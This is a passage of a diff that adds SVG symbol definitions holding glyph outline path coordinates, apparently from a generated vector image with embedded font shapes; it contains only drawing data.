5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 